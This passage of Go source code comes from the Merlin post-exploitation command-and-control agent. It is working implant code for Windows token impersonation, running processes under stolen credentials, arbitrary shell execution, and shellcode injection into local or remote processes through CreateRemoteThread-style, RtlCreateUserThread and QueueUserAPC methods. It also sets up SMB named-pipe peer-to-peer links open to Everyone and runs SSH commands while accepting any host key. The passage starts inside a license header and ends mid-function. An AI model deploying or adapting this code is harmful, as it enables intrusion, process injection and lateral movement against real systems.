PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import "github.com/Ne0nd0g/merlin-agent/v2/cli" // Setup is used to prepare the environment or context for subsequent commands and is specific to each operating system func Setup() error { cli.Message(cli.DEBUG, "entering Setup() function from the commands.os package") return nil } // TearDown is the opposite of Setup and removes and environment or context applications func TearDown() error { cli.Message(cli.DEBUG, "entering TearDown() function from the commands.os package") return nil } ================================================ FILE: commands/os_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // X-Packages "golang.org/x/sys/windows" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens" ) // Setup is used to prepare the environment or context for subsequent commands and is specific to each operating system func Setup() error { cli.Message(cli.DEBUG, "entering Setup() function from the commands.os package") // Apply Windows access token, if any return tokens.ApplyToken() } // TearDown is the opposite of Setup and removes and environment or context applications func TearDown() error { cli.Message(cli.DEBUG, "entering TearDown() function from the commands.os package") // Remove applied Windows access token return windows.RevertToSelf() } ================================================ FILE: commands/pipes.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // Pipes is only a valid function on Windows agents...for now func Pipes() jobs.Results { cli.Message(cli.DEBUG, "entering Pipes()...") return jobs.Results{ Stderr: "the pipes command is not supported by this agent type", } } ================================================ FILE: commands/pipes_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" // Sub Repositories "golang.org/x/sys/windows" // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // Pipes enumerates and returns a list of named pipes for Windows hosts only func Pipes() jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering Pipes()...")) var results jobs.Results var err string out, err := getPipes() if err != "" { results.Stderr = fmt.Sprintf("%s\r\n", err) } else { results.Stdout = out } return results } // Print out the comments of \\.\pipe\* // Ripped straight out of the Wireguard implementation: conn_windows.go func getPipes() (stdout string, stderr string) { // pipePrefix is the path for windows named pipes var pipePrefix = `\\.\pipe\` var ( data windows.Win32finddata ) h, err := windows.FindFirstFile( // Append * to find all named pipes. windows.StringToUTF16Ptr(pipePrefix+"*"), &data, ) if err != nil { return "", err.Error() } // FindClose is used to close file search handles instead of the typical // CloseHandle used elsewhere, see: // https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-findclose. defer windows.FindClose(h) stdout = "\nNamed pipes:\n" for { name := windows.UTF16ToString(data.FileName[:]) stdout += pipePrefix + name + "\n" if err := windows.FindNextFile(h, &data); err != nil { if err == windows.ERROR_NO_MORE_FILES { break } return "", err.Error() } } return stdout, "" } ================================================ FILE: commands/ps.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // PS lists running processes // Only available on Windows func PS() jobs.Results { cli.Message(cli.DEBUG, "entering PS()...") return jobs.Results{ Stderr: "the PS command is not supported by this agent type", } } ================================================ FILE: commands/ps_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // standard "fmt" "syscall" "unsafe" // Sub Repositories "golang.org/x/sys/windows" // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) type Process1 interface { // Pid is the process ID for this process. Pid() int // PPid is the parent process ID for this process PPid() int // Executable name running this process. This is not a path to the executable Executable() string Owner() string Arch() string } // WindowsProcess is an implementation of Process for Windows. type WindowsProcess struct { pid int ppid int exe string owner string arch string } func (p *WindowsProcess) Pid() int { return p.pid } func (p *WindowsProcess) PPid() int { return p.ppid } func (p *WindowsProcess) Executable() string { return p.exe } func (p *WindowsProcess) Owner() string { return p.owner } func (p *WindowsProcess) Arch() string { return p.arch } func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess { // Find when the string ends for decoding end := 0 for { if e.ExeFile[end] == 0 { break } end++ } account, _ := getProcessOwner(e.ProcessID) pHandle, _ := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, e.ProcessID) defer syscall.CloseHandle(pHandle) isWow64Process, err := IsWow64Process(pHandle) arch := "x86" if !isWow64Process { arch = "x64" } if err != nil { arch = "err" } return &WindowsProcess{ pid: int(e.ProcessID), ppid: int(e.ParentProcessID), exe: syscall.UTF16ToString(e.ExeFile[:end]), owner: account, arch: arch, } } func findProcess(pid int) (Process1, error) { ps, err := getProcesses() if err != nil { return nil, err } for _, p := range ps { if p.Pid() == pid { return p, nil } } return nil, nil } // getInfo retrieves a specified type of information about an access token. func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error) { n := uint32(initSize) for { b := make([]byte, n) e := syscall.GetTokenInformation(t, class, &b[0], uint32(len(b)), &n) if e == nil { return unsafe.Pointer(&b[0]), nil } if e != syscall.ERROR_INSUFFICIENT_BUFFER { return nil, e } if n <= uint32(len(b)) { return nil, e } } } // getTokenUser retrieves access token t owner account information. func getTokenUser(t syscall.Token) (*syscall.Tokenuser, error) { i, e := getInfo(t, syscall.TokenUser, 50) if e != nil { return nil, e } return (*syscall.Tokenuser)(i), nil } func getProcessOwner(pid uint32) (owner string, err error) { handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, pid) if err != nil { return } defer syscall.CloseHandle(handle) var token syscall.Token if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil { return } tokenUser, err := getTokenUser(token) if err != nil { return } owner, domain, _, err := tokenUser.User.Sid.LookupAccount("") owner = fmt.Sprintf("%s\\%s", domain, owner) return } // IsWow64Process determines the process architecture // https://github.com/shenwei356/rush/blob/master/process/process_windows.go func IsWow64Process(processHandle syscall.Handle) (bool, error) { var wow64Process bool kernel32 := windows.NewLazySystemDLL("kernel32") procIsWow64Process := kernel32.NewProc("IsWow64Process") r1, _, e1 := procIsWow64Process.Call( uintptr(processHandle), uintptr(unsafe.Pointer(&wow64Process))) if int(r1) == 0 { return false, e1 } return wow64Process, nil } func getProcesses() ([]Process1, error) { handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0) if err != nil { return nil, err } defer syscall.CloseHandle(handle) var entry syscall.ProcessEntry32 entry.Size = uint32(unsafe.Sizeof(entry)) if err = syscall.Process32First(handle, &entry); err != nil { return nil, err } results := make([]Process1, 0, 50) for { results = append(results, newWindowsProcess(&entry)) err = syscall.Process32Next(handle, &entry) if err != nil { break } } return results, nil } // PS is only a valid function on Windows agents...for now func PS() jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering PS()...")) var results jobs.Results // Setup OS environment, if any err := Setup() if err != nil { results.Stderr = err.Error() return results } defer TearDown() processList, err := getProcesses() if err != nil { results.Stderr = fmt.Sprintf("\nthere was an error calling the ps command: %s", err) return results } results.Stdout = fmt.Sprintf("\nPID\tPPID\tARCH\tOWNER\tEXE\n") for x := range processList { var process Process1 process = processList[x] results.Stdout += fmt.Sprintf("%d\t%d\t%s\t%s\t%s\n", process.Pid(), process.PPid(), process.Arch(), process.Owner(), process.Executable()) } return results } ================================================ FILE: commands/runas.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( "fmt" "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // RunAs creates a new process as the provided user func RunAs(cmd jobs.Command) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("entering RunAs() with %+v", cmd)) return jobs.Results{ Stderr: "the RunAs command is not supported by this agent type", } } ================================================ FILE: commands/runas_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" "strings" "syscall" // X Packages "golang.org/x/sys/windows" // Merlin "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/processes" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens" ) // RunAs creates a new process as the provided user func RunAs(cmd jobs.Command) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("entering RunAs() with %+v", cmd)) // Username, Password, Application, Arguments if len(cmd.Args) < 3 { results.Stderr = fmt.Sprintf("expected 3+ arguments, received %d for RunAs command", len(cmd.Args)) return } username := cmd.Args[0] password := cmd.Args[1] application := cmd.Args[2] var arguments string if len(cmd.Args) > 3 { arguments = strings.Join(cmd.Args[3:], " ") } // Determine if running as SYSTEM u, err := tokens.GetTokenUsername(windows.GetCurrentProcessToken()) if err != nil { results.Stderr = err.Error() return } // If we are running as SYSTEM, we can't call CreateProcess, must call LogonUserA -> CreateProcessAsUserA/CreateProcessWithTokenW if u == "NT AUTHORITY\\SYSTEM" { hToken, err2 := tokens.LogonUser(username, password, "", tokens.LOGON32_LOGON_INTERACTIVE, tokens.LOGON32_PROVIDER_DEFAULT) if err2 != nil { results.Stderr = err2.Error() return } //results.Stdout, results.Stderr = tokens.CreateProcessWithToken(hToken, application, strings.Split(arguments, " ")) var args []string if len(cmd.Args) > 3 { args = cmd.Args[3:] } attr := &syscall.SysProcAttr{ HideWindow: true, Token: syscall.Token(hToken), } results.Stdout, results.Stderr = executeCommandWithAttributes(application, args, attr) return } results.Stdout, results.Stderr = processes.CreateProcessWithLogon(username, "", password, application, arguments, processes.LOGON_WITH_PROFILE, true) return } ================================================ FILE: commands/shell.go ================================================ //go:build !linux && !windows && !darwin && !freebsd /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( "fmt" "runtime" ) // shell is used to execute a command on a host using the operating system's default shell func shell(args []string) (stdout string, stderr string) { return "", fmt.Sprintf("the default shell for the %s operating system is unknown, use the \"run\" command instead", runtime.GOOS) } ================================================ FILE: commands/shell_darwin.go ================================================ //go:build darwin /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( "fmt" "os/exec" "strings" ) // shell is used to execute a command on a host using the operating system's default shell func shell(args []string) (stdout string, stderr string) { cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204 out, err := cmd.CombinedOutput() if cmd.Process != nil { stdout = fmt.Sprintf("Created /bin/sh process with an ID of %d\n", cmd.Process.Pid) } stdout += string(out) stderr = "" if err != nil { stderr = err.Error() } return stdout, stderr } ================================================ FILE: commands/shell_freebsd.go ================================================ //go:build freebsd /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( "fmt" "os/exec" "strings" ) // shell is used to execute a command on a host using the operating system's default shell func shell(args []string) (stdout string, stderr string) { cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204 out, err := cmd.CombinedOutput() if cmd.Process != nil { stdout = fmt.Sprintf("Created /bin/sh process with an ID of %d\n", cmd.Process.Pid) } stdout += string(out) if err != nil { stderr = err.Error() } return stdout, stderr } ================================================ FILE: commands/shell_linux.go ================================================ //go:build linux /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( "fmt" "os/exec" "strings" ) // shell is used to execute a command on a host using the operating system's default shell func shell(args []string) (stdout string, stderr string) { cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204 out, err := cmd.CombinedOutput() if cmd.Process != nil { stdout = fmt.Sprintf("Created /bin/sh process with an ID of %d\n", cmd.Process.Pid) } stdout += string(out) stderr = "" if err != nil { stderr = err.Error() } return stdout, stderr } ================================================ FILE: commands/shell_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( "os" "strings" ) // shell is used to execute a command on a host using the operating system's default shell func shell(args []string) (stdout string, stderr string) { var shell string var arguments []string if s, ok := os.LookupEnv("COMSPEC"); ok { shell = s if strings.Contains(s, "cmd.exe") { arguments = []string{"/c"} } else if strings.Contains(s, "powershell.exe") { arguments = []string{"-Command"} } } else { shell = "cmd.exe" arguments = []string{"/c"} } return executeCommand(shell, append(arguments, args...)) } ================================================ FILE: commands/shellcode.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "encoding/base64" "fmt" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // ExecuteShellcode instructs the agent to load and run shellcode according to the input job func ExecuteShellcode(cmd jobs.Shellcode) jobs.Results { var results jobs.Results cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for executeShellcode function: %+v", cmd)) shellcodeBytes, errDecode := base64.StdEncoding.DecodeString(cmd.Bytes) if errDecode != nil { results.Stderr = fmt.Sprintf("there was an error decoding the shellcode Base64 string:\r\n%s", errDecode) cli.Message(cli.WARN, results.Stderr) return results } cli.Message(cli.INFO, fmt.Sprintf("Shelcode execution method: %s, size: %d", cmd.Method, len(shellcodeBytes))) cli.Message(cli.DEBUG, fmt.Sprintf("Shellcode %x", shellcodeBytes)) switch cmd.Method { case "self": err := ExecuteShellcodeSelf(shellcodeBytes) if err != nil { results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"self\" method:\r\n%s", err) } case "remote": err := ExecuteShellcodeRemote(shellcodeBytes, cmd.PID) if err != nil { results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"remote\" method:\r\n%s", err) } case "rtlcreateuserthread": err := ExecuteShellcodeRtlCreateUserThread(shellcodeBytes, cmd.PID) if err != nil { results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"rtlcreateuserthread\" method:\r\n%s", err) } case "userapc": err := ExecuteShellcodeQueueUserAPC(shellcodeBytes, cmd.PID) if err != nil { results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"userapc\" method:\r\n%s", err) } default: results.Stderr = fmt.Sprintf("invalid shellcode execution method: %s", cmd.Method) } if results.Stderr == "" { results.Stdout = fmt.Sprintf("Shellcode %s method successfully executed", cmd.Method) } if results.Stderr == "" { cli.Message(cli.SUCCESS, results.Stdout) } else { cli.Message(cli.WARN, results.Stderr) } return results } ================================================ FILE: commands/smb.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" "runtime" // Merlin "github.com/Ne0nd0g/merlin-message/jobs" ) // This smb.go file is part of the "link" command and is not a standalone command // ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent func ConnectSMB(host, pipe string) (results jobs.Results) { results.Stderr = fmt.Sprintf("commands/smb.ConnectSMB(): this function is not supported by the %s operating system", runtime.GOOS) return } // ListenSMB binds to the provided named pipe and listens for incoming SMB connections func ListenSMB(pipe string) error { return fmt.Errorf("commands/smb.ListenSMB(): this function is not supported by the %s operating system", runtime.GOOS) } ================================================ FILE: commands/smb_windows.go ================================================ //go:build windows // This smb.go file is part of the "link" command and is not a standalone command package commands import ( // Standard "bytes" "encoding/binary" "encoding/gob" "fmt" "net" "time" "unsafe" // X Packages "golang.org/x/sys/windows" // 3rd Party "github.com/Ne0nd0g/npipe" // Merlin "github.com/Ne0nd0g/merlin-message" "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/p2p" ) // ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent func ConnectSMB(host, pipe string) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("commands/smb.ConnectSMB(): entering into function with network: %s, pipe: %s", host, pipe)) // Validate incoming arguments // The period is used to signify "this host" if host != "." { _, err := net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:445", host)) if err != nil { results.Stderr = fmt.Sprintf("commands.smb.ConnectSMB(): there was an error validating the input network address: %s", err) return } } address := fmt.Sprintf("\\\\%s\\pipe\\%s", host, pipe) // Establish connection to downstream agent conn, err := npipe.Dial(address) if err != nil { results.Stderr = fmt.Sprintf("commands/smb.ConnectSMB(): there was an error attempting to link the agent: %s", err.Error()) return } var n int var tag uint32 var length uint64 var buff bytes.Buffer for { data := make([]byte, 4096) // Need to have a read on the network connection for data here in this function to retrieve the linked Agent's ID so the linkedAgent structure can be stored n, err = conn.Read(data) if err != nil { msg := fmt.Sprintf("there was an error reading data from linked agent %s: %s", address, err) results.Stderr = msg cli.Message(cli.WARN, msg) return } cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.ConnectSMB(): Read %d bytes from linked %s agent %s at %s", n, p2p.String(p2p.SMBBIND), address, time.Now().UTC().Format(time.RFC3339))) // Add the bytes to the buffer n, err = buff.Write(data[:n]) if err != nil { msg := fmt.Sprintf("commands/link.ConnectSMB(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, address, err) results.Stderr = msg cli.Message(cli.WARN, msg) return } // If this is the first read on the connection determine the tag and data length if tag == 0 { // Ensure we have enough data to read the tag/type which is 4-bytes if buff.Len() < 4 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.ConnectSMB(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len())) continue } tag = binary.BigEndian.Uint32(data[:4]) if tag != 1 { msg := fmt.Sprintf("commands/link.ConnectSMB(): Expected a type/tag value of 1 for TLV but got %d", tag) results.Stderr = msg cli.Message(cli.WARN, msg) return } } if length == 0 { // Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size if buff.Len() < 12 { cli.Message(cli.DEBUG, fmt.Sprintf("command/link.ConnectSMB(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len())) continue } length = binary.BigEndian.Uint64(data[4:12]) } // If we've read all the data according to the length provided in TLV, then break the for loop // Type/Tag size is 4-bytes, Length size is 8-bytes for TLV if uint64(buff.Len()) == length+4+8 { cli.Message(cli.DEBUG, fmt.Sprintf("command/link.ConnectSMB(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length)) break } else { cli.Message(cli.DEBUG, fmt.Sprintf("command/link.ConnectSMB(): Read %d of %d bytes into the buffer", buff.Len(), length+4+8)) } } cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from linked %s agent %s at %s", buff.Len(), p2p.String(p2p.SMBBIND), address, time.Now().UTC().Format(time.RFC3339))) // Decode GOB from server response into Base var msg messages.Delegate // First 4-bytes are for the Type/Tag, next 8-bytes are for the Length in TLV reader := bytes.NewReader(buff.Bytes()[12:]) errD := gob.NewDecoder(reader).Decode(&msg) if errD != nil { err = fmt.Errorf("there was an error decoding the gob message: %s", errD) return } // Store LinkedAgent link := p2p.NewLink(msg.Agent, msg.Listener, conn, p2p.SMBBIND, conn.RemoteAddr()) peerToPeerService.AddLink(link) peerToPeerService.AddDelegate(msg) results.Stdout = fmt.Sprintf("Successfully connected to %s Agent %s at %s", link.String(), msg.Agent, address) // The listen function is in commands/listen.go go listen(conn, p2p.SMBBIND) return } // ListenSMB binds to the provided named pipe and listens for incoming SMB connections func ListenSMB(pipe string) error { cli.Message(cli.DEBUG, fmt.Sprintf("commands/smb.ListenSMB(): entering into function with pipe: %s", pipe)) addr := fmt.Sprintf("\\\\.\\pipe\\%s", pipe) // Create the security descriptor // D = Discretionary Access List (DACL) // A = Allow // FA = FILE_ALL_ACCESS, FR = FILE_GENERIC_READ // https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings // SY = SYSTEM, BA = BUILT-IN ADMINISTRATORS, CO = CREATOR OWNER, WD = EVERYONE, AN = ANONYMOUS // https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings // Leave the Owner "O:" off, and it will be set to the user that created the named pipe by default // Leave the Group "G:" off, and it will be set to the "None" group by default sddl := "D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;CO)(A;;FA;;;WD)(A;;FR;;;AN)" var sd *windows.SECURITY_DESCRIPTOR var err error sd, err = windows.SecurityDescriptorFromString(sddl) if err != nil { return fmt.Errorf("commands/smb.ListenSMB(): there was an error converting the SDDL string \"%s\" to a SECURITY_DESCRIPTOR: %s", sddl, err) } // Create the Security Attributes // https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85) sa := windows.SecurityAttributes{ Length: uint32(unsafe.Sizeof(sd)), SecurityDescriptor: sd, InheritHandle: 1, } mode := windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED | windows.FILE_FLAG_FIRST_PIPE_INSTANCE listener, err := npipe.NewPipeListener(addr, uint32(mode), windows.PIPE_TYPE_BYTE, windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa) if err != nil { // Try again without FILE_FLAG_FIRST_PIPE_INSTANCE mode = windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED listener, err = npipe.NewPipeListener(addr, uint32(mode), windows.PIPE_TYPE_BYTE, windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa) if err != nil { return fmt.Errorf("clients/smb.Connect(): there was an error listening on %s: %s", addr, err) } } // Add to global listeners var ok bool var l p2pListener for _, l = range p2pListeners { if l.Type == SMB { // Check to see if there is already a p2pListener in the map for this address if listener.Addr() == l.Listener.(net.Listener).Addr() { ok = true break } } } if !ok { l = p2pListener{ Addr: listener.Addr().String(), Listener: listener, Type: SMB, } p2pListeners = append(p2pListeners, l) } cli.Message(cli.NOTE, fmt.Sprintf("Started SMB listener on %s and waiting for a connection...", addr)) // Listen for initial connection from upstream agent go accept(listener, p2p.SMBREVERSE) return nil } ================================================ FILE: commands/ssh.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "bytes" "encoding/base64" "fmt" "io" "net" "strings" // X Packages "golang.org/x/crypto/ssh" // Merlin "github.com/Ne0nd0g/merlin-message/jobs" ) // SSH executes a command on a remote host using the SSH protocol and does not provide an interactive session func SSH(command jobs.Command) (results jobs.Results) { // 1. User, 2. Pass, 3. Host:Port, 4. Command if len(command.Args) < 4 { results.Stderr = fmt.Sprintf("expected 4 or more arguments, received %d", len(command.Args)) return } user := command.Args[0] pass := command.Args[1] host := command.Args[2] cmd := strings.Join(command.Args[3:], " ") config := &ssh.ClientConfig{ User: user, Auth: []ssh.AuthMethod{ ssh.Password(pass), }, HostKeyCallback: ssh.HostKeyCallback(func(hostname string, remote net.Addr, key ssh.PublicKey) error { results.Stdout = fmt.Sprintf("Connected to %s at %s with public key %s\n", hostname, remote.String(), key.Type()+" "+base64.StdEncoding.EncodeToString(key.Marshal())) return nil }), } sshClient, err := ssh.Dial("tcp", host, config) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling ssh.Dial: %s", err) return } defer func() { err2 := sshClient.Close() if err2 != nil { results.Stderr += fmt.Sprintf("there was an error closing the SSH client: %s\n", err2) } }() sshSession, err := sshClient.NewSession() if err != nil { results.Stderr = fmt.Sprintf("\nthere was an error calling SSH Client NewSession(): %s", err) return } defer func() { err2 := sshSession.Close() if err2 != nil && err2 != io.EOF { results.Stderr = fmt.Sprintf("\nthere was an error closing the SSH session: %s\n", err2) } }() var stdoutBuffer bytes.Buffer var stderrBuffer bytes.Buffer sshSession.Stdout = io.Writer(&stdoutBuffer) sshSession.Stderr = io.Writer(&stderrBuffer) err = sshSession.Run(cmd) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling SSH Session Run(): %s", err) return } results.Stdout += stdoutBuffer.String() 